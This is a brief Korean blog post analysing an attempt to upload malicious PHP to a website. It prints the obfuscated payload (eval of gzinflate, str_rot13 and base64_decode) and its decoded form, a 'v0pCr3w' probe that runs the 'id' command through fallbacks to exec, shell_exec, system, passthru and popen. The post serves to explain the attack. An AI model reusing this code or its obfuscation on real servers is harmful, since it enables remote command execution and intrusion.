PHP 소스분석
programming/php 2009. 10. 22. 10:02 |모 웹 사이트에 위의 코드를 업로드하려는 시도가 발견되었다.
$vopcrew = "pZLNd8MwEITvgbyDIgyWIZT059Q0xdBYYg30TRCOvIpIecl15cYh5N0ryWTSUCCH3sTMzrfDosQgTJF8/b7mH5/L6QRRcgj9TLRi9mT3srGv9CwafEEMjk0immVSSBnfgLDtR0OgdMHJxtTF8spnIjstnDKaxDkJ2cGnLYQOduonlCR5Blrr9oMdfCXZGOPQK2fIRehOpNHNwzMOzwMoLD4Bv43SjH52bTaOvkeNYw2IFdQ1v2BCjPyiD4VhQ/booDkVMxuOrrCOhUM+S3TIyPdQW2NcGO1Ae1Gc9SLokosaCs1hrHkLUUrZ7urS0fz32lwh90TTTAEskQHRmhb0Y2t3dvb3dzR8il2ld2CzXIKRPpJy5ECif+fD0k9EbWh+v2trypbkGMqK2mCgx9VeseA6q3AoKL8=";
eval(gzinflate(str_rot13(base64_decode($vopcrew))));
exit;
id라는 시스템명령을 실행하려는 소스이며 exec, system, passthru, popen등으로 시도한다는 걸 알 수 있다.
실행결과화면은 다음과 같다.
<?php
$os = @PHP_OS;
echo "v0pCr3w";
echo "os:$os";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe)
{
$res = '';
if (!empty($cfe))
{
if(function_exists('exec'))
{
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec'))
{
$res = @shell_exec($cfe);
}
elseif(function_exists('system'))
{
@ob_start(); @system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r")))
{
$res = "";
while(!@feof($f))
{
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
?>
'programming > php' 카테고리의 다른 글
PHP backticks shell command (0) | 2010.08.04 |
---|---|
session_start()사용시 주의 (0) | 2010.05.04 |
exec(함수 (0) | 2010.04.22 |
safemode (0) | 2010.03.08 |